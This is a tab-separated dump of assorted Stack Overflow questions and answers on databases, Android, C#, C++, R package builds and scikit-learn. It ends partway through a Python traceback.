33506495	0	 <p>If you can wait a month Postgres 9.5 will be out and has Row Security. Oracle has it now if you have ten million bucks kicking around. </p> <p>For now, or in other dbs, you can mimic row security:</p> <ol> <li><p>Each protected table gets an "owner" column. By default only the owner can select, update, or delete that row.</p></li> <li><p>Each "child" table also has an owner column, with a cascading foreign key to the parent table. So if change parent.owner, then this changes all children.owners as well</p></li> <li><p>Use updateable CHECK OPTION views to enforce security.</p></li> <li><p>You need to set current_user from your application. <a href="https://stackoverflow.com/questions/2998597/switch-role-after-connecting-to-database/19602050#19602050">Here's how</a> for pg + spring</p></li> </ol> <p>In Postgres:</p> <pre><code>create schema protected; create table protected.foo ( foo_id int primary key, bar text, owner name not null default_current user ); create table protected.foo_children ( foo_child_id int primary key, foo_id int not null references foo(food_id), owner name not null default current_user references foo(owner) on update cascade ); </code></pre> <p>Now some CHECK OPTION views - use security_barrier if postgres:</p> <pre><code>create view public.foo with (security_barrier) as select * from protected.foo where owner = current_user WITH CHECK OPTION; create view public.foo_children with (security_barrier) as select * from protected.foo_children where owner = current_user WITH CHECK OPTION; grant delete, insert, select, update on public.foo to some_users; grant delete, insert, select, update on public.foo_children to some_users; </code></pre> <p>For sharing, you need to add some more tables. The important thing is that you can index the right columns so that you don't kill performance:</p> <pre><code>create schema acl; create table acl.foo ( foo_id int primary key references protected.foo(foo_id), grantee name not null, privilege char(1) not null ); </code></pre> <p>Update your views:</p> <pre><code>create or update view public.foo with (security_barrier) as select * from protected.foo where owner = current_user or exists ( select 1 from acl.foo where privilege in ('s','u','d') and grantee = current_user) ); --add update trigger that checks for update privilege --add delete trigger that checks for delete privilege </code></pre>
11628374	0	 <p>The reason to use a double here is the attempt to provide enough accuracy. </p> <p>In detail: The systems interrupt time slices are given by <em>ActualResolution</em> which is returned by <code>NtQueryTimerResolution()</code>. NtQueryTimerResolution is exported by the native Windows NT library NTDLL.DLL. The System time increments are given by <em>TimeIncrement</em> which is returned by <code>GetSystemTimeAdjustment()</code>.</p> <p>These two values are determining the behavior of the system timers. They are integer values and the express 100 ns units. However, this is already insufficient for certain hardware today. On some systems <em>ActualResolution</em> is returned 9766 which would correspond to 0.9766 ms. But in fact these systems are operating at 1024 interrupts per second (tuned by proper setting of the multimedia interface). 1024 interrupts a second will cause the interrupt period to be 0.9765625 ms. This is of too high detail, it reaches into the 100 ps regime and can therefore not be hold in the standard <em>ActualResolution</em> format.</p> <p>Therefore it has been decided to put such time-parameters into double. But: This does <strong>not</strong> mean that all of the posible values are supported/used. The granularity given by <em>TimeIncrement</em> will persist, no matter what.</p> <p>When dealing with timers it is always advisable to look at the granularity of the parameters involved.</p> <p>So back to your question: <code>Can Interval support values like 5.768585 (ms) ?</code></p> <p><strong>No</strong>, the system I've taken as an example above cannot.</p> <p><strong>But it can support 5.859375 (ms)!</strong></p> <p>Other systems with different hardware may support other numbers.</p> <p>So the idea of introducing a double here is not such a stupid idea and actually makes sense. Spending another 4 bytes to get things finally right is a good investment.</p> <p>I've summarized some more details about Windows time matters <a href="http://www.windowstimestamp.com/description" rel="nofollow">here</a>.</p>
7950654	0	 <p>Try this, while calling your <strong>MainMenu</strong> activity from <strong>Game</strong> activity:</p> <pre><code>Intent intent = new Intent(this, MainMenu.class); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); this.startActivity(intent); </code></pre> <p>Hope this would help.</p>
37975201	0	 <p>I was able to resolve it by replacing <code>'</code> with <code>%27</code>.</p> <pre><code>data-path="@file.Replace("'","%27")" </code></pre>
8794634	0	 <p>MySQL has an <code>UNSIGNED</code> qualifier for integer types.</p> <p>Negative values will be clamped to zero, but will generate a warning:</p> <pre><code>mysql&gt; create table test ( id int(5) unsigned not null ); Query OK, 0 rows affected (0.05 sec) mysql&gt; insert into test values (-1), (5), (10); Query OK, 3 rows affected, 1 warning (0.01 sec) Records: 3 Duplicates: 0 Warnings: 1 mysql&gt; select * from test; +----+ | id | +----+ | 0 | | 5 | | 10 | +----+ 3 rows in set (0.01 sec) </code></pre>
27937346	0	 <p>I have used this snippet on my ios app project:</p> <pre><code> window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem; window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, success, fail); var target_directory=""; function fail() { //alert("failed to get filesystem"); } function downloadImage(url, filename){ alert("download just started."); try{ var ft = new FileTransfer(); ft.download( url, target_directory + filename, function(entry) { //alert("download complete!:" + entry.nativeURL ); //path of the downloaded file }, function(error) { //alert("download error" + error.code); //alert("download error" + JSON.stringify(error)); } ); } catch (e){ //alert(JSON.stringify(e)); } } function success(fileSystem) { target_directory = fileSystem.root.nativeURL; //root path downloadImage(encodeURI("http://upload.wikimedia.org/wikipedia/commons/2/22/Turkish_Van_Cat.jpg"), "cat.jpg"); // I just used a sample url and filename } </code></pre>
31439918	0	 <pre><code>with x as (select *, row_number() over(order by SYS_CREAT_TS desc) as rn from DATA_STUS) SELECT RVSN FROM x WHERE rn =1 and DATA_STUS_CD = 2 </code></pre> <p>If the data needs partitioning by a column, add it to the <code>over</code> clause so you get the desired results.</p>
27625987	0	 <p>try</p> <pre><code>moveResult.MoveParts.map(function (movePart) { console.log(movePart.From); }; </code></pre>
32811935	0	 <p>If you want to add five hours to <code>startTimePoint</code>, it's boringly simple:</p> <pre><code>startTimePoint += hours(5); // from the alias std::chrono::hours </code></pre> <p><a href="http://coliru.stacked-crooked.com/a/58b599e11f0bc13e" rel="nofollow">Live example</a>.</p> <p>By the way, you're trying to convert a <code>steady_clock::now()</code> into a <code>system_clock::time_point</code>, which <a href="http://coliru.stacked-crooked.com/a/9c2dd186ee0f6522" rel="nofollow">shouldn't even compile</a>. Change the <code>steady_clock::now()</code> to <code>system_clock::now()</code> and you should be good to go.</p>
19669246	0	 <p>In the code you have posted above, there is no retain cycle.</p> <p>A retain cycle would be <code>self.A = self;</code> or more likely, <code>self.A.someStrongProperty = self</code>.</p> <p><strong>Edit:</strong> In the case you have edited above, assuming <code>self</code> is a view controller, it would not deallocate because of the retain cycle. You should change your <code>someStrongProperty</code> to be a <code>weak</code> property, which will prevent the retain cycle.</p>
10798274	0	Opening a database connection in a constructor, when should I close it? <p>well, I've been thinking of making database requests a little faster by keeping the connection to the database open as long as the object is being used. So I was thinking of opening the connection in the constructor of that class. Now the question is, how can I close the connection after I stopped using? I have to call close() somewhere, don't I? I've been reading about the finalize() method, but people seemed to be skeptical about usage of this method anywhere at all. I'd expect it to have something like a destructor, but Java doesn't have that, so?</p> <p>So could anyone provide me with a solution? Thanks in advance.</p>
33335890	0	 <p>Just plot each segment separately. This also allows for more flexibility as you can independently change the colors, add direction arrows, etc, for each connection.</p> <p>Here, I used a Python dictionary to hold your connectivity info.</p> <pre><code>import matplotlib.pyplot as plt coords = [(0.0, 0.0), (1.0, 1.0), (1.0, 0.0), (2.0, 1.0), (2.0, 0.0), (3.0, 1.0)] connectivity = {0: (1,2), #coords[0] &lt;--&gt; coords[1], coords[2] 1: (0, 2, 3), #coords[1] &lt;--&gt; coords[0], coords[2], coords[3] 2: (0, 1, 4), #coords[2] &lt;--&gt; coords[0], coords[1], coords[4] 3: (1, 3, 5), #coords[3] &lt;--&gt; coords[1], coords[3], coords[5] 4: (2, 3, 5), #coords[4] &lt;--&gt; coords[2], coords[3], coords[5] 5: (3, 4) #coords[5] &lt;--&gt; coords[3], coords[4] } x, y = zip(*coords) plt.plot(x, y, 'o') # plot the points alone for k, v in connectivity.iteritems(): for i in v: # plot each connections x, y = zip(coords[k], coords[i]) plt.plot(x, y, 'r') plt.show() </code></pre> <p><a href="https://i.stack.imgur.com/EUIBv.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/EUIBv.png" alt="enter image description here"></a></p> <p>There are duplicate lines here based on how you presented the connectivity, for example, <code>(0,1)</code> and <code>(1,0)</code>. I'm assuming that you'll eventually want to put in the direction, so I left them in.</p>
24630478	0	 <p>If you are using .Net 4.5 you can save yourself some key strokes and use the TPL</p> <pre><code>for (int i = 0; i &lt; count; i++) { Task.Run(() =&gt; cl.Print("id","password")); } </code></pre>
11516282	0	 <p>If rob's post did not work, then i would try typing in bt (for backtrace) in the console</p>
39067961	0	My imported eclipse project gives error the project was not build since the build path is incomplete. Cannot find the class file for java.lang.object <p>i have imported a existing project to eclipse but it gives errors for java files only i have set libraries i have also set window>preferences>installed jres.BUt the problem is not solved. The error message is the project was not build since the build path is incomplete. Cannot find the class file for java.lang.object. Fix the error. <a href="http://i.stack.imgur.com/4upHD.png" rel="nofollow">error screenshot</a></p>
35065788	0	How to determine the vendor/bin directory of Composer in a library? <p>Is there a reliable way to determine the local <code>vendor/bin</code> directory of an application from within a library? What I really want is the following:</p> <p>I am writing a library that depends on a third library. This third library ships with a binary, that is installed in the local <code>vendor/bin</code> of the main application. My library needs to have the possibility to execute this binary. I could probably hack something using <code>__DIR__/../...../bin</code> but that feels not very good an is probably <em>not</em> reliable.</p>
16402013	0	Select all records of a type <p>I'm trying to get all records of specific type from RavenDB with C#.</p> <p>When I'm using Lucene:</p> <pre><code> var serviceTraces = session.Advanced.LuceneQuery&lt;ServiceTrace&gt;("IDLoadDateIndex").Take(50); </code></pre> <p>I'm getting the results in: </p> <p>serviceTraces.QueryResult.Results</p> <p>When I'm not using Lucene:</p> <pre><code>var serviceTraces = session.Query&lt;ServiceTrace&gt;("IDLoadDateIndex").Take(50); </code></pre> <p>I'm not getting any results and an exception is thrown when trying to perform "ToList()" on "serviceTraces" object.</p> <p>Why is that ?</p> <p><strong>UPDATE:</strong></p> <p>ServiceTrace class:</p> <pre><code>public class ServiceTrace { public ServiceTrace(ServiceDeployment sd) { // TODO: Complete member initialization this.ServiceDeploymentID = sd.Id; } public string Id { get; set; } public string TransactionID { get; set; } public string ParentTransactionID { get; set; } public string RequestID { get; set; } public int ApplicationCode { get; set; } public int InstituteCode { get; set; } public string ServiceDeploymentID { get; set; } public string UserHostAddress { get; set; } public string UserAgent { get; set; } public string Username { get; set; } public DateTime RequestDateTime { get; set; } public DateTime ResponseDateTime { get; set; } public string RequestBody { get; set; } public string ResponseBody { get; set; } public string Key1Value { get; set; } public string Key2Value { get; set; } public string Key3Value { get; set; } public string Key4Value { get; set; } public string Key5Value { get; set; } public int StatusCode { get; set; } public string StatusDescription { get; set; } public string FullExceptionText { get; set; } public DateTime LoadDate { get; set; } public DateTime ActivationDateTime { get; set; } public string HostAddress { get; set; } public string BpmID { get; set; } public DateTime PreProcessDatetime { get; set; } public string DestHostAddress { get; set; } public string ArchivePath { get; set; } public string BTInstanceID { get; set; } public string Temp1 { get; set; } public string ExternalComponentDuration { get; set; } public string SQLIdentity { get; set; } public string ExceptionCode { get; set; } public string CertificateID { get; set; } public string ExternalComponentType { get; set; } public string ActivationID { get; set; } } </code></pre> <p>IDLoadDateIndex:</p> <pre><code>public class IDLoadDateIndex : AbstractIndexCreationTask&lt;ServiceTrace&gt; { public IDLoadDateIndex() { Map = serviceTrace =&gt; from st in serviceTrace select new { LoadDate = st.LoadDate }; Index(x =&gt; x.LoadDate, FieldIndexing.Analyzed); } } </code></pre>
646295	0	 <p>This is what I do for MVC + AJAX...</p> <p>Really simple implementation, if you were to ask me.</p> <p><a href="http://jarrettatwork.blogspot.com/2009/02/aspnet-mvc-ajax-brief-introduction.html" rel="nofollow noreferrer">http://jarrettatwork.blogspot.com/2009/02/aspnet-mvc-ajax-brief-introduction.html</a></p>
22126424	0	 <p>I don't have access handy, but I'll give it a shot "free hand" and see how it goes :)<br> Since Access does not (afaik) have <code>CASE</code>, the trick would seem to be to use <code>IIF</code>;</p> <pre class="lang-sql prettyprint-override"><code>SELECT SUM(Total) as RoomRevenue, SUM(ExtraCharges) AS Extra, SUM(Discount) AS DiscountGiven, SUM(Tax) AS TaxCollection, SUM(GrandTotal) AS TotalCollection, SUM(IIF(ExtraChargesType = 'Tickets', ExtraCharges, 0)) AS TheatreTickets, SUM(IIF([CheckInDate])&lt;=[regDate] AND [CheckOutDate])&gt;=[regDate], 1, 0)) AS OcuppiedRooms regDate FROM tblRegistration GROUP BY regDate; </code></pre>
13109827	0	 <p>if you have exact the format <code>+Z (YYY) XXX-XX-XX</code>:</p> <pre><code>var num = input.replace( '/^\+\S+\s\((\d{3})\)\s(\d{3})-(\d{2})-(\d{2})$/', '\1\2\3\4' ); </code></pre> <p>but a more tolerant variant would be</p> <pre><code>var num = input.replace( '/^(\+\S+|\D/', '' ); </code></pre>
5932874	0	How can I use Visual basic to download the file I want in URl? <p>I'd like to downlowd one file chosen form this url</p> <blockquote> <p><a href="http://www.senao.com.tw/download.aspx" rel="nofollow">http://www.senao.com.tw/download.aspx</a></p> </blockquote> <p>But I need to use Visual Basic to autodownload form this url. Without click on it. so, can I finish the work? </p>
18835256	0	 <p>I realized I can just add the icons as background images using the menu-item classes. Inelegant, but functional.</p>
9499804	0	 <p>The PHP driver just returns the fields from MongoDB in whatever order MongoDB sends them. So, regardless of how you select the fields you wish to return, the data sent back won't change (unless you alter the fields list of course). Why don't you just order the results yourself after they are returned?</p>
33747893	0	Visual Studio 2015 "non-standard syntax; use '&' to create pointer for member" <p>I'm creating a quick game and I used a different class file for inputting player names. I keep getting the specified error :</p> <blockquote> <p>use '&amp;' to create pointer for member</p> </blockquote> <p>when I am trying to call the function from main. </p> <p>The function <code>getPlayerOne</code> and <code>getPlayerTwo</code> are public functions. I think it's because I'm changing the <code>player1</code> value so I need a pointer but when I try to add a pointer it gives me the same error. </p> <p>How do I edit values of strings using pointers?</p> <p>main:</p> <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; //Included Header Files #include "Player.h" using namespace std; int main() { Player players; cout &lt;&lt; players.getPlayerOne &lt;&lt; endl; cout &lt;&lt; players.getPlayerTwo &lt;&lt; endl; } </code></pre> <p>Player.h:</p> <pre><code>#pragma once #include &lt;iostream&gt; #include &lt;string&gt; using namespace std; class Player { public: //Initialize player1 void getPlayerOne(string &amp;playerOne); void getPlayerTwo(string &amp;playerTwo); Player(); private: //Players string player1; string player2; }; </code></pre> <p>Player.cpp</p> <pre><code>#include "Player.h" Player::Player() { } void Player::getPlayerOne(string &amp;playerOne) { cout &lt;&lt; "Enter player 1 name: \n"; cin &gt;&gt; playerOne; cout &lt;&lt; playerOne &lt;&lt; " is a great name!\n"; player1 = playerOne; } void Player::getPlayerTwo(string &amp;playerTwo) { cout &lt;&lt; "Enter player 2 name: \n"; cin &gt;&gt; playerTwo; cout &lt;&lt; playerTwo &lt;&lt; " is a great name!\n"; player2 = playerTwo; } </code></pre> <p>I could probably just put the <code>Player</code> code in main because it's so small, but I think it is better to have separate classes when (eventually) I can program files with more characters.</p>
25552137	0	 <p>I'll copy paste my answer from <a href="http://stackoverflow.com/a/25552002/3987202">http://stackoverflow.com/a/25552002/3987202</a><br><br> Another solution for those of us who can't make the jump to Hibernate 4.1.3.<br> Simply use <code>/*'*/:=/*'*/</code> inside the query. Hibernate code treats everything between <code>'</code> as a string (ignores it). MySQL on the other hand will ignore everything inside a blockquote and will evaluate the whole expression to an assignement operator.<br> I know it's quick and dirty, but it get's the job done without stored procedures, interceptors etc.</p>
24254845	0	 <p>Finally, I find there's a lock when compiling prepared statements. I was compiling a new prepared statement whenever a new request come in, after I changed to reuse it I got my app server scale. However, I still don't know why cross-region case can scale.</p>
16943441	0	Safari crashes instantly when trying to debug iPad Simulator app <p>I realize that this is a long-shot... but I'm looking for tips or advice on how to prevent or debug this issue.</p> <p>If I start my app in the iPad simulator (webapp using phonegap), then start Safari and select Develope->iPad Simulator->index.html - Safari immediately crashes. The odd thing is that I'm one of several developers working on this app... and we all have seemingly identical setups - yet this doesn't happen for them. They are able to debug in Safari as expected. I should also mention that the app itself works great in the simulator.</p> <p>Software involved: Xcode 4.6.2 Safari 6.0.5 Running simulator for iPad 6.1</p> <p>Again, I realize that this isn't much to go on. Hoping someone might be able to point me in the right direction to figure it out.</p>
4205321	0	 <p>I had this problem and it took me forever to figure out. The Child table has to allow nulls on it's parent foreign key. NHibernate likes to save the children with NULL in the foreign key column and then go back and update with the correct ParentId.</p>
20559968	0	 <p>We can use another approach without bit shift to convert <code>bytes</code> to <code>short</code> without shift by using <code>java.nio.ByteBuffer</code></p> <pre><code>ByteBuffer bb = ByteBuffer.allocate(2); bb.order(ByteOrder.LITTLE_ENDIAN); bb.put(nTempByteArr[1]); bb.put(nTempByteArr[0]); short shortVal = bb.getShort(0); </code></pre> <p>and we can use the <code>get</code> function of <code>ByteBuffer</code> will help us back to get <code>bytes</code></p> <pre><code>bb.putShort(ShortValue); nTempByteArr[0] = bb.get(0); nTempByteArr[1] = bb.get(1); </code></pre>
15945306	0	 <p>From your code and exception actually you have an Object[] at pos[targetPos3].</p> <p>You cannot cast that to HashSet.</p>
17169661	0	How to unselect the parent checkbox when their child checkbox is unchecked using Jquery? <p>I am using asp.net tree view control. And using Jquery to select all the corresponding child check box when its parent is checked. The working Jquery and the rendered HTML is in here...<a href="http://jsfiddle.net/srk1982/Gak2h/7/" rel="nofollow">JS Fiddle</a></p> <p>Jquery to select the checkbox :</p> <pre><code> $('.tree').on('change', ':checkbox', function () { var checked = this.checked; var $elem = $(this).closest('table'); var depth = $elem.find('div').length; var $childs = $elem.nextAll('table'); $childs.each(function () { var $child = $(this); var d = $child.find('div').length; if (d &lt;= depth) { return false; } $child.find(':checkbox').prop('checked', checked); }); }); </code></pre> <p>But I do not know how to unselect the parent node when one of its child item is checked. Help needed..</p>
27017971	0	Changing an unhandled exception to a handled one in a finally block <p>Consider this program:</p> <pre><code>using System; static class Program { static void Main(string[] args) { try { try { throw new A(); } finally { throw new B(); } } catch (B) { } Console.WriteLine("All done!"); } } class A : Exception { } class B : Exception { } </code></pre> <p>Here, an exception of type <code>A</code> is thrown for which there is no handler. In the <code>finally</code> block, an exception of type <code>B</code> is thrown for which there is a handler. Normally, exceptions thrown in <code>finally</code> blocks win, but it's different for unhandled exceptions.</p> <p>When debugging, the debugger stops execution when <code>A</code> is thrown, and does not allow the <code>finally</code> block to be executed.</p> <p>When not debugging (running it stand-alone from a command prompt), a message is shown (printed, and a crash dialog) about an unhandled exception, but after that, "All done!" does get printed.</p> <p>When adding a top-level exception handler that does nothing more than rethrow the caught exception, all is well: there are no unexpected messages, and "All done!" is printed.</p> <p>I understand how this is happening: the determination of whether an exception has a handler happens before any <code>finally</code> blocks get executed. This is generally desirable, and the current behaviour makes sense. <code>finally</code> blocks should generally not be throwing exceptions anyway.</p> <p>But <a href="http://stackoverflow.com/questions/2911215/what-happens-if-a-finally-block-throws-an-exception">this other Stack Overflow question</a> cites the C# language specification and claims that the <code>finally</code> block is required to override the <code>A</code> exception. Reading the specification, I agree that that is exactly what it requires:</p> <blockquote> <ul> <li>In the current function member, each <code>try</code> statement that encloses the throw point is examined. For each statement <code>S</code>, starting with the innermost try statement and ending with the outermost try statement, the following steps are evaluated: <ul> <li>If the <code>try</code> block of <code>S</code> encloses the throw point and if S has one or more <code>catch</code> clauses, the catch clauses are examined [...]</li> <li>Otherwise, if the <code>try</code> block or a <code>catch</code> block of <code>S</code> encloses the throw point and if <code>S</code> has a <code>finally</code> block, control is transferred to the <code>finally</code> block. If the <code>finally</code> block throws another exception, processing of the current exception is terminated. Otherwise, when control reaches the end point of the <code>finally</code> block, processing of the current exception is continued.</li> </ul></li> <li>If an exception handler was not located in the current function invocation, the function invocation is terminated, and one of the following occurs: <ul> <li>[...]</li> </ul></li> <li>If the exception processing terminates all function member invocations in the current thread, indicating that the thread has no handler for the exception, then the thread is itself terminated. The impact of such termination is implementation-defined.</li> </ul> </blockquote> <p>An exception isn't considered unhandled, according to my reading of the spec, until <em>after</em> all function invocations have been terminated, and function invocations aren't terminated until the <code>finally</code> handlers have executed.</p> <p>Am I missing something here, or is Microsoft's implementation of C# inconsistent with their own specification?</p>
27536672	1	A dict-like class that uses transformed keys <p>I'd like a dict-like class that transparently uses transformed keys on lookup, so that I can write</p> <pre><code>k in d # instead of f(k) in d d[k] # instead of d[f(k)] d.get(k, v) # instead of d.get(f(k), v) </code></pre> <p>etc. (Imagine for example that <code>f</code> does some kind of canonicalization, e.g. <code>f(k)</code> returns <code>k.lower()</code>.)</p> <p>It seems that I can inherit from <code>dict</code> and override individual operations, but not that there is a centralized spot for such transformation that all keys go through. That means I have to override all of <code>__contains__</code>, <code>__getitem__</code>, <code>get</code>, and possibly <code>__missing__</code>, etc. This gets too tedious and error-prone, and not very attractive unless this overhead outweighs that of manually substituting <code>f(k)</code> for every call on a plain <code>dict</code>.</p>
32568700	0	Install Old XML R Package From Source On Windows <p>I'm trying to install this package from source on Windows and cannot work out what is going on and what I need to do in order to get this working.</p> <p>I have the tar-gz file from CRAN, I have R-3.1.2 installed and RTools installed. </p> <p>When I try to install this package I get the following error:</p> <pre><code>* installing *source* package 'XML' ... ** package 'XML' successfully unpacked and MD5 sums checked ** libs *** arch - i386 gcc -m32 -I"C:/PROGRA~1/R/R-31~1.2/include" -DNDEBUG -I/include/libxml2 -I/include -D_R_=1 -DUSE_R=1 -DUSE_XML_VERSION_H=1 -DLIBXML -DUSE_EXTERNAL_SUBSET=1 -DROOT_HAS_DTD_NODE=1 -DUMP_WITH_ENCODING=1 -DXML_ELEMENT_ETYPE=1 -DXML_ATTRIBUTE_ATYPE=1 -DLIBXML2=1 -DHAVE_XML_HAS_FEATURE -DLIBXML_STATIC -I"d:/RCompile/CRANpkg/extralibs64/local/include" -O3 -Wall -std=gnu99 -mtune=core2 -c DocParse.c -o DocParse.o In file included from DocParse.c:10:0: DocParse.h:18:27: fatal error: libxml/parser.h: No such file or directory compilation terminated. make: *** [DocParse.o] Error 1 Warning: running command 'make -f "Makevars.win" -f "C:/PROGRA~1/R/R-31~1.2/etc/i386/Makeconf" -f "C:/PROGRA~1/R/R-31~1.2/share/make/winshlib.mk" SHLIB="XML.dll" OBJECTS="DocParse.o EventParse.o ExpatParse.o HTMLParse.o NodeGC.o RSDTD.o RUtils.o Rcatalog.o Utils.o XMLEventParse.o XMLHashTree.o XMLTree.o fixNS.o libxmlFeatures.o schema.o xmlsecurity.o xpath.o"' had status 2 ERROR: compilation failed for package 'XML' </code></pre> <p>Which seems that this is the actual problem:</p> <pre><code>DocParse.h:18:27: fatal error: libxml/parser.h: No such file or directory compilation terminated. </code></pre> <p>So I've grabbed libxml2 from here:</p> <p><a href="http://www.zlatkovic.com/libxml.en.html" rel="nofollow">http://www.zlatkovic.com/libxml.en.html</a></p> <p>But I have literally no idea what to do next.</p> <p>In the source for the libxml2 I can see the parser.h file mentioned in the error but what do I do with it or the library in order to get this install working?</p>
27132432	0	How to debug %post with rpmbuild <p>I'm building an RPM that needs to run a number of scripts to configure it after it's been installed to complete the installation. I have to run the scripts in the %post section because the configuration is dependent upon the type of host. All this is fairly easy and well, but every time I run into a bug with the %post section, I have to rebuild the entire package which takes about 20 minutes. Is there a way to skip recompiling everything and just build a new package with just the changes from %post?</p>
2185287	0	 <p>Yes, as long as your controller inherits from Controller (which it must in order to work as an MVC controller), you can use the same syntax without the &lt;%= %>.</p> <pre><code>Dim url = Url.Action("myAction", "myController", New With { ... }) </code></pre> <p>alternatively if you reference the MVCContrib DLL, you will have access to strongly typed helpers, and be able to do something like:</p> <pre><code>Dim url = Url.Action(Of myController)(function(a) a.myAction(ID)) </code></pre> <p>my VB coding days are dated, so forgive me if the syntax is a bit fudged</p>
1967112	0	 <p>It's as insecure as the Django test server itself, for starters, like the above answer said -- that is, it's not tested for any sort of security the way a "production-ready" server like CherryPy would be. As a result, there could be all sorts of lurking security issues with users accessing files they shouldn't be able to; while these are generally fixed they're not considered "priority" as they would be with a production server, and no one's really banging on it looking for these things. </p> <p>Furthermore, see this summer's <a href="http://www.djangoproject.com/weblog/2009/jul/28/security/" rel="nofollow noreferrer">Django security update</a> that fixed a situation where a maliciously-crafted URL could give a visitor access to any file the Django user could see, even if it wasn't under the static root. It's fixed, but should give you an idea about why you should use a Real Server in production settings.</p>
30323558	0	 <p>Place below lines of code into your view hierarchy:</p> <pre><code>- (UIView*)hitTest:(CGPoint)point withEvent:(UIEvent*)event { UIView* hitView = [super hitTest:point withEvent:event]; if (hitView != nil) { [self.superview bringSubviewToFront:self]; } return hitView; } - (BOOL)pointInside:(CGPoint)point withEvent:(UIEvent*)event { CGRect rect = self.bounds; BOOL isInside = CGRectContainsPoint(rect, point); if(!isInside) { for (UIView *view in self.subviews) { isInside = CGRectContainsPoint(view.frame, point); if(isInside) break; } } return isInside; } </code></pre> <p>For the more clarification, it was explained in my blog: "goaheadwithiphonetech" regarding "Custom callout : Button is not clickable issue". </p> <p>I hope that helps you...!!!</p>
24746210	0	 <pre><code>X.each do |key, value| value.class == BigDecimal ? puts value.to_s : puts value end </code></pre> <p>or </p> <pre><code>X.each { |key, value | value.class == BigDecimal ? puts value.to_s : puts value } </code></pre> <p>Check out the ternary operator. </p> <p>Edit:</p> <p>Also in regards to your edited question requesting one string: </p> <p><code>new_array = X.map {|object| object.class == BigDecimal ? object.to_s : object }</code> then turn it into a string with <code>new_array.join("")</code></p>
6979943	0	 <p>Have you tried</p> <pre><code>if foo.bar == "crazy value" require 'ruby-debug'; debugger end </code></pre> <p>This should place a breakpoint that triggers when you run <code>bundle exec rails server</code> normally, and only when <code>foo.bar</code> has the value you (don't) want.</p> <p>If you are using bundler, and Ruby 1.9 make sure you have </p> <pre><code>gem 'ruby-debug19', :require =&gt; 'ruby-debug' </code></pre> <p>in your Gemfile (in the development and test group).</p>
39459006	1	scikit ShuffleSplit raising pandas "IndexError: index N is out of bounds for axis 0 with size M" <p>I'm trying to use a scikit's GridSearch to find the best alpha for a Lasso, and one of parameters I want it iterate is the cross validation split. So, I'm doing:</p> <pre><code># X_train := Pandas Dataframe with no index (auto numbered index) and 62064 rows # y_train := Pandas 1-column Dataframe with no index (auto numbered index) and 62064 rows from sklearn import linear_model as lm from sklearn import cross_validation as cv from sklearn import grid_search model = lm.LassoCV(eps=0.001, n_alphas=1000) params = {"cv": [cv.ShuffleSplit(n=len(X_train), test_size=0.2), cv.ShuffleSplit(n=len(X_train), test_size=0.1)]} m_model = grid_search.GridSearchCV(model, params) m_model.fit(X_train, y_train) </code></pre> <p>But it raises the exception</p> <pre><code>--------------------------------------------------------------------------- IndexError Traceback (most recent call last) &lt;ipython-input-113-f791cb0644c1&gt; in &lt;module&gt;() 10 m_model = grid_search.GridSearchCV(model, params) 11 ---&gt; 12 m_model.fit(X_train.as_matrix(), y_train.as_matrix()) /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/grid_search.py in fit(self, X, y) 802 803 """ --&gt; 804 return self._fit(X, y, ParameterGrid(self.param_grid)) 805 806 /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/grid_search.py in _fit(self, X, y, parameter_iterable) 551 self.fit_params, return_parameters=True, 552 error_score=self.error_score) --&gt; 553 for parameters in parameter_iterable 554 for train, test in cv) 555 /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/externals/joblib/parallel.py in __call__(self, iterable) 798 # was dispatched. In particular this covers the edge 799 # case of Parallel used with an exhausted iterator. --&gt; 800 while self.dispatch_one_batch(iterator): 801 self._iterating = True 802 else: /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/externals/joblib/parallel.py in dispatch_one_batch(self, iterator) 656 return False 657 else: --&gt; 658 self._dispatch(tasks) 659 return True 660 /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/externals/joblib/parallel.py in _dispatch(self, batch) 564 565 if self._pool is None: --&gt; 566 job = ImmediateComputeBatch(batch) 567 self._jobs.append(job) 568 self.n_dispatched_batches += 1 /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/externals/joblib/parallel.py in __init__(self, batch) 178 # Don't delay the application, to avoid keeping the input 179 # arguments in memory --&gt; 180 self.results = batch() 181 182 def get(self): /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/externals/joblib/parallel.py in __call__(self) 70 71 def __call__(self): ---&gt; 72 return [func(*args, **kwargs) for func, args, kwargs in self.items] 73 74 def __len__(self): /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/externals/joblib/parallel.py in &lt;listcomp&gt;(.0) 70 71 def __call__(self): ---&gt; 72 return [func(*args, **kwargs) for func, args, kwargs in self.items] 73 74 def __len__(self): /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/cross_validation.py in _fit_and_score(estimator, X, y, scorer, train, test, verbose, parameters, fit_params, return_train_score, return_parameters, error_score) 1529 estimator.fit(X_train, **fit_params) 1530 else: -&gt; 1531 estimator.fit(X_train, y_train, **fit_params) 1532 1533 except Exception as e: /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/linear_model/coordinate_descent.py in fit(self, X, y) 1146 for train, test in folds) 1147 mse_paths = Parallel(n_jobs=self.n_jobs, verbose=self.verbose, -&gt; 1148 backend="threading")(jobs) 1149 mse_paths = np.reshape(mse_paths, (n_l1_ratio, len(folds), -1)) 1150 mean_mse = np.mean(mse_paths, axis=1) /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/externals/joblib/parallel.py in __call__(self, iterable) 798 # was dispatched. In particular this covers the edge 799 # case of Parallel used with an exhausted iterator. --&gt; 800 while self.dispatch_one_batch(iterator): 801 self._iterating = True 802 else: /home/user/Programs/repos/pyenv/versions/3.5.2/envs/work/lib/python3.5/site-packages/sklearn/externals/joblib/parallel.py 